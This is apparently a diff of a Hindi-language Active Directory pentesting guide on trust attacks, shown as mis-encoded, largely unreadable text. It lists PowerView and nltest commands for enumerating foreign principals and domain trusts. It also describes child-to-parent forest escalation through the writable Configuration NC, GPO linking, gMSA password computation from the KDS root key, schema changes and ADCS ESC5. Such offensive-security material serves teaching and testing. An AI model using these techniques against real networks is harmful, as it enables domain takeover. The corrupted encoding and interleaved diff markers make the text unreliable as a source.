Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)тАЭ рд╢реАрд░реНрд╖рдХ рд╡рд╛рд▓рд╛ рд╢реНрд╡реЗрдд рдкрддреНрд░ рдПрдХ рдЕрдореВрд▓реНрдп рд╕рдВрд╕рд╛рдзрди рд╣реИред -### рдЪрд╛рдЗрд▓реНрдб-рдЯреВ-рдкреИрд░реЗрдВрдЯ рдлреЙрд░реЗрд╕реНрдЯ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ +### рдмрд╛рд╣рд░реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ/рд╕рдореВрд╣реЛрдВ рдХреЗ рд╕рд╛рде рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬреЗрдВ + +рдЖрдк **`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдбреЛрдореЗрди рдореЗрдВ рд╡рд┐рджреЗрд╢реА рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рдореБрдЦреЛрдВ рдХреЛ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХреЗред рдпреЗ **рдПрдХ рдмрд╛рд╣рд░реА рдбреЛрдореЗрди/рд╡рди** рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛/рд╕рдореВрд╣ рд╣реЛрдВрдЧреЗред + +рдЖрдк рдЗрд╕реЗ **Bloodhound** рдореЗрдВ рдпрд╛ powerview рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ: +```powershell +# Get users that are i groups outside of the current domain +Get-DomainForeignUser + +# Get groups inside a domain with users our +Get-DomainForeignGroupMember ``` +### Child-to-Parent forest privilege escalation +```bash +# Fro powerview Get-DomainTrust SourceName : sub.domain.local --> current domain @@ -565,6 +581,18 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case) WhenCreated : 2/19/2021 1:28:00 PM WhenChanged : 2/19/2021 1:28:00 PM ``` +рдбреЛрдореЗрди рдЯреНрд░рд╕реНрдЯреНрд╕ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЗ: +```bash +# Get DCs +nltest /dsgetdc: + +# Get all domain trusts +nltest /domain_trusts /all_trusts /v + +# Get all trust of a domain +nltest /dclist:sub.domain.local +nltest /server:dc.sub.domain.local /domain_trusts /all_trusts +``` > [!WARNING] > рд╡рд╣рд╛рдБ **2 рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреБрдВрдЬреА** рд╣реИрдВ, рдПрдХ _Child --> Parent_ рдХреЗ рд▓рд┐рдП рдФрд░ рджреВрд╕рд░реА _Parent_ --> _Child_ рдХреЗ рд▓рд┐рдПред\ > рдЖрдк рд╡рд░реНрддрдорд╛рди рдбреЛрдореЗрди рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдХреБрдВрдЬреА рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рд╕рд╛рде рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: @@ -582,36 +610,36 @@ SID-History рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЪрд╛ sid-history-injection.md {{#endref}} -#### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди NC рдХрд╛ рд╢реЛрд╖рдг +#### Writable Configuration NC рдХрд╛ рд╢реЛрд╖рдг рдХрд░реЗрдВ -рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдирд╛рдорд╛рдВрдХрди рд╕рдВрджрд░реНрдн (NC) рдХрд╛ рд╢реЛрд╖рдг рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдпрд╣ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди NC рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ (AD) рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдПрдХ рд╡рди рдХреЗ рднреАрддрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдбреЗрдЯрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЗрдВрджреНрд░реАрдп рднрдВрдбрд╛рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдбреЗрдЯрд╛ рд╡рди рдХреЗ рднреАрддрд░ рдкреНрд░рддреНрдпреЗрдХ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ (DC) рдкрд░ рдкреБрди: рдкреЗрд╢ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп DC рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди NC рдХреА рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдкреНрд░рддрд┐ рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реИрдВред рдЗрд╕рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХрд┐рд╕реА рдХреЛ **DC рдкрд░ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдПрдХ рдЪрд╛рдЗрд▓реНрдб DCред +Configuration Naming Context (NC) рдХреЛ рдХреИрд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдпрд╣ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред Configuration NC рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ (AD) рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдПрдХ рдЬрдВрдЧрд▓ рдХреЗ рднреАрддрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдбреЗрдЯрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдХреЗрдВрджреНрд░реАрдп рднрдВрдбрд╛рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдбреЗрдЯрд╛ рдЬрдВрдЧрд▓ рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ (DC) рдореЗрдВ рдкреБрдирдГ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, writable DCs Configuration NC рдХреА рдПрдХ writable рдкреНрд░рддрд┐ рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реИрдВред рдЗрд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХрд┐рд╕реА рдХреЛ **DC рдкрд░ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдПрдХ рдЪрд╛рдЗрд▓реНрдб DCред -**рд░реВрдЯ DC рд╕рд╛рдЗрдЯ рд╕реЗ GPO рд▓рд┐рдВрдХ рдХрд░реЗрдВ** +**Root DC рд╕рд╛рдЗрдЯ рд╕реЗ GPO рд▓рд┐рдВрдХ рдХрд░реЗрдВ** -рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди NC рдХрд╛ рд╕рд╛рдЗрдЯреНрд╕ рдХрдВрдЯреЗрдирд░ AD рд╡рди рдХреЗ рднреАрддрд░ рд╕рднреА рдбреЛрдореЗрди-рдЬреЛрдбрд╝реЗ рдЧрдП рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреА рд╕рд╛рдЗрдЯреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред рдХрд┐рд╕реА рднреА DC рдкрд░ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реБрдП, рд╣рдорд▓рд╛рд╡рд░ GPO рдХреЛ рд░реВрдЯ DC рд╕рд╛рдЗрдЯреЛрдВ рд╕реЗ рд▓рд┐рдВрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдХреНрд░рд┐рдпрд╛ рдЗрди рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рд▓рд╛рдЧреВ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ рд░реВрдЯ рдбреЛрдореЗрди рдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддреА рд╣реИред +Configuration NC рдХреЗ рд╕рд╛рдЗрдЯреНрд╕ рдХрдВрдЯреЗрдирд░ рдореЗрдВ AD рдЬрдВрдЧрд▓ рдХреЗ рднреАрддрд░ рд╕рднреА рдбреЛрдореЗрди-рдЬреЛрдбрд╝реЗ рдЧрдП рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреА рд╕рд╛рдЗрдЯреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╢рд╛рдорд┐рд▓ рд╣реИред рдХрд┐рд╕реА рднреА DC рдкрд░ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реБрдП, рд╣рдорд▓рд╛рд╡рд░ GPOs рдХреЛ root DC рд╕рд╛рдЗрдЯреЛрдВ рд╕реЗ рд▓рд┐рдВрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдХреНрд░рд┐рдпрд╛ рдЗрди рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рд▓рд╛рдЧреВ рдХреА рдЧрдИ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ root рдбреЛрдореЗрди рдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддреА рд╣реИред рдЧрд╣рди рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, рдХреЛрдИ [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) рдкрд░ рд╢реЛрдз рдХрд░ рд╕рдХрддрд╛ рд╣реИред -**рд╡рди рдореЗрдВ рдХрд┐рд╕реА рднреА gMSA рдХрд╛ рд╕рдордЭреМрддрд╛ рдХрд░реЗрдВ** +**рдЬрдВрдЧрд▓ рдореЗрдВ рдХрд┐рд╕реА рднреА gMSA рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░реЗрдВ** -рдПрдХ рд╣рдорд▓реЗ рдХрд╛ рд╡реЗрдХреНрдЯрд░ рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд gMSAs рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рд╣реИред KDS рд░реВрдЯ рдХреБрдВрдЬреА, рдЬреЛ gMSAs рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреА рдЧрдгрдирд╛ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди NC рдХреЗ рднреАрддрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИред рдХрд┐рд╕реА рднреА DC рдкрд░ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде, KDS рд░реВрдЯ рдХреБрдВрдЬреА рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдФрд░ рд╡рди рдореЗрдВ рдХрд┐рд╕реА рднреА gMSA рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб рдХреА рдЧрдгрдирд╛ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред +рдПрдХ рд╣рдорд▓реЗ рдХрд╛ рд╡реЗрдХреНрдЯрд░ рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд gMSAs рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рд╣реИред KDS Root рдХреБрдВрдЬреА, рдЬреЛ gMSAs рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреА рдЧрдгрдирд╛ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ, Configuration NC рдХреЗ рднреАрддрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИред рдХрд┐рд╕реА рднреА DC рдкрд░ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде, KDS Root рдХреБрдВрдЬреА рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдФрд░ рдЬрдВрдЧрд▓ рдореЗрдВ рдХрд┐рд╕реА рднреА gMSA рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб рдХреА рдЧрдгрдирд╛ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) рдкрд░ рдЪрд░реНрдЪрд╛ рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -**рд╕реНрдХреАрдорд╛ рдкрд░рд┐рд╡рд░реНрддрди рд╣рдорд▓рд╛** +**Schema рдкрд░рд┐рд╡рд░реНрддрди рд╣рдорд▓рд╛** -рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП рдзреИрд░реНрдп рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдирдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд AD рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдирд╛ред SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ AD рд╕реНрдХреАрдорд╛ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рднреА рд╡рд░реНрдЧреЛрдВ рдкрд░ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕рд╕реЗ рдирдП рдмрдирд╛рдП рдЧрдП AD рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдкрд░ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдФрд░ рдирд┐рдпрдВрддреНрд░рдг рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП рдзреИрд░реНрдп рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдирдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд AD рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдирд╛ред SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ AD Schema рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рднреА рд╡рд░реНрдЧреЛрдВ рдкрд░ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕рд╕реЗ рдирдП рдмрдирд╛рдП рдЧрдП AD рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдкрд░ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдФрд░ рдирд┐рдпрдВрддреНрд░рдг рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -рдЕрдзрд┐рдХ рдкрдврд╝рд╛рдИ [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред +рдЕрдзрд┐рдХ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) рдкрд░ рдЬрд╛рдПрдВред -**DA рд╕реЗ EA рддрдХ ADCS ESC5 рдХреЗ рд╕рд╛рде** +**ADCS ESC5 рдХреЗ рд╕рд╛рде DA рд╕реЗ EA рддрдХ** -ADCS ESC5 рднреЗрджреНрдпрддрд╛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдЕрд╡рд╕рдВрд░рдЪрдирд╛ (PKI) рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИ рддрд╛рдХрд┐ рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ рд╡рди рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЪреВрдВрдХрд┐ PKI рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди NC рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдЪрд╛рдЗрд▓реНрдб DC рдХрд╛ рд╕рдордЭреМрддрд╛ ESC5 рд╣рдорд▓реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +ADCS ESC5 рднреЗрджреНрдпрддрд╛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдЕрд╡рд╕рдВрд░рдЪрдирд╛ (PKI) рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИ рддрд╛рдХрд┐ рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ рдЬрдВрдЧрд▓ рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЪреВрдВрдХрд┐ PKI рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ Configuration NC рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдПрдХ writable рдЪрд╛рдЗрд▓реНрдб DC рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рд╕реЗ ESC5 рд╣рдорд▓реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдЗрд╕ рдкрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) рдореЗрдВ рдкрдврд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ADCS рдХреА рдХрдореА рд╡рд╛рд▓реЗ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ рдЖрд╡рд╢реНрдпрдХ рдШрдЯрдХреЛрдВ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд░рдЦрддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) рдореЗрдВ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рд╣реИред -### рдмрд╛рд╣рд░реА рд╡рди рдбреЛрдореЗрди - рдПрдХ-рддрд░рдлрд╛ (рдЗрдирдмрд╛рдЙрдВрдб) рдпрд╛ рджреНрд╡рд┐рджрд┐рд╢ -```powershell +### External Forest Domain - One-Way (Inbound) рдпрд╛ рджреНрд╡рд┐рджрд┐рд╢ +```bash Get-DomainTrust SourceName : a.domain.local --> Current domain TargetName : domain.external --> Destination domain @@ -621,14 +649,14 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ **рдЖрдкрдХрд╛ рдбреЛрдореЗрди рдПрдХ рдмрд╛рд╣рд░реА рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реИ** рдЬреЛ рдЖрдкрдХреЛ **рдЕрдирд┐рд╢реНрдЪрд┐рдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ** рджреЗрддрд╛ рд╣реИред рдЖрдкрдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ **рдЖрдкрдХреЗ рдбреЛрдореЗрди рдХреЗ рдХреМрди рд╕реЗ рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓реНрд╕ рдХреЗ рдкрд╛рд╕ рдмрд╛рд╣рд░реА рдбреЛрдореЗрди рдкрд░ рдХреМрди рд╕рд╛ рдПрдХреНрд╕реЗрд╕ рд╣реИ** рдФрд░ рдлрд┐рд░ рдЗрд╕реЗ рднреБрдирд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ: +рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ **рдЖрдкрдХрд╛ рдбреЛрдореЗрди** рдПрдХ рдмрд╛рд╣рд░реА рдбреЛрдореЗрди рджреНрд╡рд╛рд░рд╛ **рд╡рд┐рд╢реНрд╡рд╛рд╕рд┐рдд** рд╣реИ, рдЬреЛ рдЖрдкрдХреЛ **рдЕрдирд┐рд╢реНрдЪрд┐рдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ** рджреЗрддрд╛ рд╣реИред рдЖрдкрдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдХрд┐ **рдЖрдкрдХреЗ рдбреЛрдореЗрди рдХреЗ рдХреМрди рд╕реЗ рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓реНрд╕ рдХреЗ рдкрд╛рд╕ рдмрд╛рд╣рд░реА рдбреЛрдореЗрди рдкрд░ рдХреМрди рд╕рд╛ рдПрдХреНрд╕реЗрд╕ рд╣реИ** рдФрд░ рдлрд┐рд░ рдЗрд╕реЗ рднреБрдирд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ: {{#ref}} external-forest-domain-oneway-inbound.md {{#endref}} ### рдмрд╛рд╣рд░реА рд╡рди рдбреЛрдореЗрди - рдПрдХрддрд░рдлрд╛ (рдЖрдЙрдЯрдмрд╛рдЙрдВрдб) -```powershell +```bash Get-DomainTrust -Domain current.local SourceName : current.local --> Current domain @@ -641,7 +669,7 @@ WhenChanged : 2/19/2021 10:15:24 PM ``` рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ **рдЖрдкрдХрд╛ рдбреЛрдореЗрди** рдХрд┐рд╕реА **рд╡рд┐рднрд┐рдиреНрди рдбреЛрдореЗрди** рд╕реЗ рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдХреЛ рдХреБрдЫ **рдЕрдзрд┐рдХрд╛рд░** **рд╡рд┐рд╢реНрд╡рд╛рд╕** рдХрд░ рд░рд╣рд╛ рд╣реИред -рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЬрдм рдПрдХ **рдбреЛрдореЗрди рдХреЛ рд╡рд┐рд╢реНрд╡рд╛рд╕** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдбреЛрдореЗрди **рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдмрдирд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ **рдкреВрд░реНрд╡рд╛рдиреБрдорд╛рдирд┐рдд рдирд╛рдо** рд╣реЛрддрд╛ рд╣реИ рдЬреЛ **рд╡рд┐рд╢реНрд╡рд╛рд╕рд┐рдд рдкрд╛рд╕рд╡рд░реНрдб** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ **рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдбреЛрдореЗрди рд╕реЗ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдХреЗ рд╡рд┐рд╢реНрд╡рд╛рд╕рд┐рдд рдбреЛрдореЗрди рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд┐рдпрд╛ рдЬрд╛рдП** рддрд╛рдХрд┐ рдЙрд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ 